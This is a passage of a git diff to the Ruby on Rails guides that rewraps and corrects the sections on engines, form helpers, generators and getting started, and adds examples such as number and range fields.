content in it: ```html+erb <h1>Posts</h1> @@ -852,9 +1239,13 @@ Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` a ### Routes -Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash. +Routes inside an engine are isolated from the application by default. This is +done by the `isolate_namespace` call inside the `Engine` class. This essentially +means that the application and its engines can have identically named routes and +they will not clash. -Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this: +Routes inside an engine are drawn on the `Engine` class within +`config/routes.rb`, like this: ```ruby Blorgh::Engine.routes.draw do @@ -862,43 +1253,71 @@ Blorgh::Engine.routes.draw do end ``` -By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined. +By having isolated routes such as this, if you wish to link to an area of an +engine from within an application, you will need to use the engine's routing +proxy method. Calls to normal routing methods such as `posts_path` may end up +going to undesired locations if both the application and the engine have such a +helper defined. -For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine: +For instance, the following example would go to the application's `posts_path` +if that template was rendered from the application, or the engine's `posts_path` +if it was rendered from the engine: ```erb <%= link_to "Blog posts", posts_path %> ``` -To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine. +To make this route always use the engine's `posts_path` routing helper method, +we must call the method on the routing proxy method that shares the same name as +the engine. ```erb <%= link_to "Blog posts", blorgh.posts_path %> ``` -If you wish to reference the application inside the engine in a similar way, use the `main_app` helper: +If you wish to reference the application inside the engine in a similar way, use +the `main_app` helper: ```erb <%= link_to "Home", main_app.root_path %> ``` -If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from. +If you were to use this inside an engine, it would **always** go to the +application's root. If you were to leave off the `main_app` "routing proxy" +method call, it could potentially go to the engine's or application's root, +depending on where it was called from. -If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine. +If a template rendered from within an engine attempts to use one of the +application's routing helper methods, it may result in an undefined method call. +If you encounter such an issue, ensure that you're not attempting to call the +application's routing methods without the `main_app` prefix from within the +engine. ### Assets -Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets. +Assets within an engine work in an identical way to a full application. Because +the engine class inherits from `Rails::Engine`, the application will know to +look up assets in the engine's 'app/assets' and 'lib/assets' directories. -Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored. +Like all of the other components of an engine, the assets should be namespaced. +This means that if you have an asset called `style.css`, it should be placed at +`app/assets/stylesheets/[engine name]/style.css`, rather than +`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a +possibility that the host application could have an asset named identically, in +which case the application's asset would take precedence and the engine's one +would be ignored. -Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine: +Imagine that you did have an asset located at +`app/assets/stylesheets/blorgh/style.css` To include this asset inside an +application, just use `stylesheet_link_tag` and reference the asset as if it +were inside the engine: ```erb <%= stylesheet_link_tag "blorgh/style.css" %> ``` -You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files: +You can also specify these assets as dependencies of other assets using Asset +Pipeline require statements in processed files: ``` /* @@ -906,16 +1325,21 @@ You can also specify these assets as dependencies of other assets using the Asse */ ``` -INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`. +INFO. Remember that in order to use languages like Sass or CoffeeScript, you +should add the relevant library to your engine's `.gemspec`. ### Separate Assets & Precompiling -There are some situations where your engine's assets are not required by the host application. For example, say that you've created -an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css` -or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorg/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation. -This tells sprockets to add your engine assets when `rake assets:precompile` is ran. +There are some situations where your engine's assets are not required by the +host application. For example, say that you've created an admin functionality +that only exists for your engine. In this case, the host application doesn't +need to require `admin.css` or `admin.js`. Only the gem's admin layout needs +these assets. It doesn't make sense for the host app to include +`"blorgh/admin.css"` in its stylesheets. In this situation, you should +explicitly define these assets for precompilation. This tells sprockets to add +your engine assets when `rake assets:precompile` is triggered. -You can define assets for precompilation in `engine.rb` +You can define assets for precompilation in `engine.rb`: ```ruby initializer "blorgh.assets.precompile" do |app| @@ -923,15 +1347,15 @@ initializer "blorgh.assets.precompile" do |app| end ``` -For more information, read the [Asset Pipeline guide](asset_pipeline.html) +For more information, read the [Asset Pipeline guide](asset_pipeline.html). -### Other gem dependencies +### Other Gem Dependencies -Gem dependencies inside an engine should be specified inside the -`.gemspec` file at the root of the engine. The reason is that the engine may -be installed as a gem. If dependencies were to be specified inside the `Gemfile`, -these would not be recognized by a traditional gem install and so they would not -be installed, causing the engine to malfunction. +Gem dependencies inside an engine should be specified inside the `.gemspec` file +at the root of the engine. The reason is that the engine may be installed as a +gem. If dependencies were to be specified inside the `Gemfile`, these would not +be recognized by a traditional gem install and so they would not be installed, +causing the engine to malfunction. To specify a dependency that should be installed with the engine during a traditional `gem install`, specify it inside the `Gem::Specification` block @@ -949,11 +1373,12 @@ s.add_development_dependency "moo" ``` Both kinds of dependencies will be installed when `bundle install` is run inside -the application. The development dependencies for the gem will only be used when -the tests for the engine are running. +of the application. The development dependencies for the gem will only be used +when the tests for the engine are running. Note that if you want to immediately require dependencies when the engine is -required, you should require them before the engine's initialization. For example: +required, you should require them before the engine's initialization. For +example: ```ruby require 'other_engine/engine' diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md index 3f16ebcf1d..ec4a255398 100644 --- a/guides/source/form_helpers.md +++ b/guides/source/form_helpers.md @@ -67,7 +67,7 @@ To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and This will generate the following HTML: ```html -<form accept-charset="UTF-8" action="/search" method="get"> +<form accept-charset="UTF-8" action="/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="✓" /></div> <label for="q">Search for:</label> <input id="q" name="q" type="text" /> <input name="commit" type="submit" value="Search" /> @@ -154,7 +154,10 @@ make it easier for users to click the inputs. ### Other Helpers of Interest -Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields: +Other form controls worth mentioning are textareas, password fields, +hidden fields, search fields, telephone fields, date fields, time fields, +color fields, datetime fields, datetime-local fields, month fields, week fields, +URL fields, email fields, number fields and range fields: ```erb <%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> @@ -171,6 +174,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel <%= email_field(:user, :address) %> <%= color_field(:user, :favorite_color) %> <%= time_field(:task, :started_at) %> +<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %> +<%= range_field(:product, :discount, in: 1..100) %> ``` Output: @@ -190,11 +195,20 @@ Output: <input id="user_address" name="user[address]" type="email" /> <input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" /> <input id="task_started_at" name="task[started_at]" type="time" /> +<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" /> +<input id="product_discount" max="100" min="1" name="product[discount]" type="range" /> ``` Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features. +IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, +month, week, URL, email, number and range inputs are HTML5 controls. +If you require your app to have a consistent experience in older browsers, +you will need an HTML5 polyfill (provided by CSS and/or JavaScript). +There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are +[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), +which provide a simple way to add functionality based on the presence of +detected HTML5 features. TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging). @@ -221,7 +235,7 @@ Upon form submission the value entered by the user will be stored in `params[:pe WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object. -Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations and Callbacks](./active_record_validations_callbacks.html#displaying-validation-errors-in-the-view) guide. +Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](./active_record_validations.html#displaying-validation-errors-in-views) guide. ### Binding a Form to an Object @@ -290,7 +304,7 @@ The object yielded by `fields_for` is a form builder like the one yielded by `fo ### Relying on Record Identification -The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it **a resource**: +The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**: ```ruby resources :articles @@ -328,7 +342,7 @@ If you have created namespaced routes, `form_for` has a nifty shorthand for that form_for [:admin, @article] ``` -will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: +will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: ```ruby form_for [:admin, :management, @article] @@ -381,7 +395,7 @@ Here you have a list of cities whose names are presented to the user. Internally ### The Select and Option Tags -The most generic helper is `select_tag`, which — as the name implies — simply generates the `SELECT` tag that encapsulates an options string: +The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string: ```erb <%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %> @@ -421,7 +435,7 @@ output: Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option. -TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` — you must pass 2. Be aware of values extracted from the `params` hash as they are all strings. +TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` - you must pass 2. Be aware of values extracted from the `params` hash as they are all strings. WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true. @@ -451,7 +465,7 @@ In most cases form controls will be tied to a specific database model and as you <%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %> ``` -Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the `@person.city_id` attribute. +Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute. As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be: @@ -553,7 +567,7 @@ outputs (with actual option values omitted for brevity) which results in a `params` hash like ```ruby -{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} +{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}} ``` When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`. @@ -568,7 +582,7 @@ NOTE: In many cases the built-in date pickers are clumsy as they do not aid the ### Individual Components -Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. +Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value. The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example @@ -605,7 +619,7 @@ The object in the `params` hash is an instance of a subclass of IO. Depending on ```ruby def upload uploaded_io = params[:person][:picture] - File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file| + File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file| file.write(uploaded_io.read) end end @@ -664,7 +678,7 @@ Understanding Parameter Naming Conventions As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create` action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on. -Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. +Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses. TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example, @@ -830,25 +844,22 @@ Many apps grow beyond simple forms editing a single object. For example when cre ### Configuring the Model -Active Record provides model level support via the `accepts_nested_attributes_for` method: +Active Record provides model level support via the `accepts_nested_attributes_for` method: ```ruby class Person < ActiveRecord::Base has_many :addresses accepts_nested_attributes_for :addresses - - attr_accessible :name, :addresses_attributes end class Address < ActiveRecord::Base belongs_to :person - attr_accessible :kind, :street end ``` -This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. When using `attr_accessible` or `attr_protected` you must mark `addresses_attributes` as accessible as well as the other attributes of `Person` and `Address` that should be mass assigned. +This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. -### Building the Form +### Nested Forms The following form allows a user to create a `Person` and its associated addresses. @@ -871,38 +882,40 @@ The following form allows a user to create a `Person` and its associated address ``` -When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form. +When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form. ```ruby def new @person = Person.new - 3.times { @person.addresses.build} + 2.times { @person.addresses.build} end ``` -`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like +The `fields_for` yields a form builder. The parameters' name will be what +`accepts_nested_attributes_for` expects. For example when creating a user with +2 addresses, the submitted parameters would look like: ```ruby { - :person => { - :name => 'John Doe', - :addresses_attributes => { - '0' => { - :kind => 'Home', - :street => '221b Baker Street', - }, - '1' => { - :kind => 'Office', - :street => '31 Spooner Street' - } - } + 'person' => { + 'name' => 'John Doe', + 'addresses_attributes' => { + '0' => { + 'kind' => 'Home', + 'street' => '221b Baker Street' + }, + '1' => { + 'kind' => 'Office', + 'street' => '31 Spooner Street' + } } + } } ``` The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address. -If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id. +If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`. ### The Controller @@ -917,9 +930,9 @@ def create end private -def person_params - params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street]) -end + def person_params + params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street]) + end ``` ### Removing Objects @@ -933,7 +946,9 @@ class Person < ActiveRecord::Base end ``` -If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses: +If the hash of attributes for an object contains the key `_destroy` with a value +of `1` or `true` then the object will be destroyed. This form allows users to +remove addresses: ```erb <%= form_for @person do |f| %> @@ -941,7 +956,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value <ul> <%= f.fields_for :addresses do |addresses_form| %> <li> - <%= check_box :_destroy%> + <%= addresses_form.check_box :_destroy%> <%= addresses_form.label :kind %> <%= addresses_form.text_field :kind %> ... @@ -976,4 +991,4 @@ As a convenience you can instead pass the symbol `:all_blank` which will create ### Adding Fields on the Fly -Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice. +Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice. diff --git a/guides/source/generators.md b/guides/source/generators.md index a8a34d0ac4..4a5377c206 100644 --- a/guides/source/generators.md +++ b/guides/source/generators.md @@ -35,7 +35,7 @@ $ rails generate helper --help Creating Your First Generator ----------------------------- -Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. +Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`. The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content: @@ -47,7 +47,7 @@ class InitializerGenerator < Rails::Generators::Base end ``` -NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html) +NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. @@ -171,7 +171,7 @@ Before we customize our workflow, let's first see what our scaffold looks like: ```bash $ rails generate scaffold User name:string invoke active_record - create db/migrate/20091120125558_create_users.rb + create db/migrate/20130924151154_create_users.rb create app/models/user.rb invoke test_unit create test/models/user_test.rb @@ -193,6 +193,9 @@ $ rails generate scaffold User name:string create app/helpers/users_helper.rb invoke test_unit create test/helpers/users_helper_test.rb + invoke jbuilder + create app/views/users/index.json.jbuilder + create app/views/users/show.json.jbuilder invoke assets invoke coffee create app/assets/javascripts/users.js.coffee @@ -204,7 +207,7 @@ $ rails generate scaffold User name:string Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication. -Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following: +Our first customization on the workflow will be to stop generating stylesheets, javascripts and test fixtures for scaffolds. We can achieve that by changing our configuration to the following: ```ruby config.generators do |g| @@ -212,20 +215,28 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false end ``` -If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. +If we generate another resource with the scaffold generator, we can see that stylesheets, javascripts and fixtures are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators. To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks: ```bash $ rails generate generator rails/my_helper + create lib/generators/rails/my_helper + create lib/generators/rails/my_helper/my_helper_generator.rb + create lib/generators/rails/my_helper/USAGE + create lib/generators/rails/my_helper/templates ``` -After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following: +After that, we can delete both the `templates` directory and the `source_root` +class method call from our new generator, because we are not going to need them. +Add the method below, so our generator looks like the following: ```ruby +# lib/generators/rails/my_helper/my_helper_generator.rb class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE @@ -241,6 +252,7 @@ We can try out our new generator by creating a helper for users: ```bash $ rails generate my_helper products + create app/helpers/products_helper.rb ``` And it will generate the following helper file in `app/helpers`: @@ -259,6 +271,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false g.helper :my_helper end ``` @@ -279,6 +292,7 @@ Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper doe To do that, we can change the generator this way: ```ruby +# lib/generators/rails/my_helper/my_helper_generator.rb class Rails::MyHelperGenerator < Rails::Generators::NamedBase def create_helper_file create_file "app/helpers/#{file_name}_helper.rb", <<-FILE @@ -322,6 +336,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :test_unit, fixture: false g.stylesheets false + g.javascripts false end ``` @@ -340,6 +355,7 @@ config.generators do |g| g.template_engine :erb g.test_framework :shoulda, fixture: false g.stylesheets false + g.javascripts false # Add a fallback! g.fallbacks[:shoulda] = :test_unit @@ -351,7 +367,7 @@ Now, if you create a Comment scaffold, you will see that the shoulda generators ```bash $ rails generate scaffold Comment body:text invoke active_record - create db/migrate/20091120151323_create_comments.rb + create db/migrate/20130924143118_create_comments.rb create app/models/comment.rb invoke shoulda create test/models/comment_test.rb @@ -373,6 +389,9 @@ $ rails generate scaffold Comment body:text create app/helpers/comments_helper.rb invoke shoulda create test/helpers/comments_helper_test.rb + invoke jbuilder + create app/views/comments/index.json.jbuilder + create app/views/comments/show.json.jbuilder invoke assets invoke coffee create app/assets/javascripts/comments.js.coffee @@ -422,7 +441,7 @@ Generator methods The following are methods available for both generators and templates for Rails. -NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html) +NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html) ### `gem` @@ -541,7 +560,7 @@ This method also takes a block: ```ruby vendor "seeds.rb" do - "puts 'in ur app, seeding ur database'" + "puts 'in your app, seeding your database'" end ``` diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md index 3881bb1195..0634c93712 100644 --- a/guides/source/getting_started.md +++ b/guides/source/getting_started.md @@ -22,14 +22,14 @@ with Rails. However, to get the most out of it, you need to have some prerequisites installed: * The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer -* The [RubyGems](http://rubygems.org/) packaging system - * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1) +* The [RubyGems](http://rubygems.org) packaging system + * To learn more about RubyGems, please read the [RubyGems Guides](http://guides.rubygems.org) * A working installation of the [SQLite3 Database](http://www.sqlite.org) Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails. There are some good free resources on the -internet for learning Ruby, including: +Internet for learning Ruby, including: * [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com) * [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/) @@ -54,9 +54,11 @@ learned elsewhere, you may have a less happy experience. The Rails philosophy includes two major guiding principles: -* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. -* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to -do it, rather than requiring you to specify every little thing through endless configuration files. +* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and + over again is a bad thing. +* Convention Over Configuration - means that Rails makes assumptions about what + you want to do and how you're going to do it, rather than requiring you to + specify every little thing through endless configuration files. Creating a New Rails Project ---------------------------- @@ -64,7 +66,7 @@ Creating a New Rails Project The best way to use this guide is to follow each step as it happens, no code or step needed to make this example application has been left out, so you can literally follow along step by step. You can get the complete code -[here](https://github.com/lifo/docrails/tree/master/guides/code/getting_started). +[here](https://github.com/rails/docrails/tree/master/guides/code/getting_started). By following along with this guide, you'll create a Rails project called `blog`, a @@ -84,7 +86,7 @@ current version of Ruby installed: ```bash $ ruby -v -ruby 1.9.3p385 +ruby 2.0.0p353 ``` To install Rails, use the `gem install` command provided by RubyGems: @@ -94,10 +96,11 @@ $ gem install rails ``` TIP. A number of tools exist to help you quickly install Ruby and Ruby -on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use -[Rails One Click](http://railsoneclick.com). +on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), +while Mac OS X users can use [Rails One Click](http://railsoneclick.com). -To verify that you have everything installed correctly, you should be able to run the following: +To verify that you have everything installed correctly, you should be able to +run the following: ```bash $ rails --version @@ -107,38 +110,47 @@ If it says something like "Rails 4.0.0", you are ready to continue. ### Creating the Blog Application -Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself. +Rails comes with a number of scripts called generators that are designed to make +your development life easier by creating everything that's necessary to start +working on a particular task. One of these is the new application generator, +which will provide you with the foundation of a fresh Rails application so that +you don't have to write it yourself. -To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type: +To use this generator, open a terminal, navigate to a directory where you have +rights to create files, and type: ```bash $ rails new blog ``` -This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`. +This will create a Rails application called Blog in a directory called blog and +install the gem dependencies that are already mentioned in `Gemfile` using +`bundle install`. -TIP: You can see all of the command line options that the Rails -application builder accepts by running `rails new -h`. +TIP: You can see all of the command line options that the Rails application +builder accepts by running `rails new -h`. -After you create the blog application, switch to its folder to continue work directly in that application: +After you create the blog application, switch to its folder to continue work +directly in that application: ```bash $ cd blog ``` -The `rails new blog` command we ran above created a folder in your -working directory called `blog`. The `blog` directory has a number of -auto-generated files and folders that make up the structure of a Rails -application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default: +The `rails new blog` command we ran above created a folder in your working +directory called `blog`. The `blog` directory has a number of auto-generated +files and folders that make up the structure of a Rails application. Most of the +work in this tutorial will happen in the `app/` folder, but here's a basic +rundown on the function of each of the files and folders that Rails created by default: | File/Folder | Purpose | | ----------- | ------- | |app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.| |bin/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.| -|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)| +|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)| |config.ru|Rack configuration for Rack based servers used to start the application.| |db/|Contains your current database schema, as well as the database migrations.| -|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) | +|Gemfile<br>Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) | |lib/|Extended modules for your application.| |log/|Application log files.| |public/|The only folder seen to the world as-is. Contains the static files and compiled assets.| @@ -151,35 +163,65 @@ application. Most of the work in this tutorial will happen in the `app/` folder, Hello, Rails! ------------- -To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running. +To begin with, let's get some text up on screen quickly. To do this, you need to +get your Rails application server running. ### Starting up the Web Server -You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running: +You actually have a functional Rails application already. To see it, you need to +start a web server on your development machine. You can do this by running the +following in the root directory of your rails application: ```bash $ rails server ``` -TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to 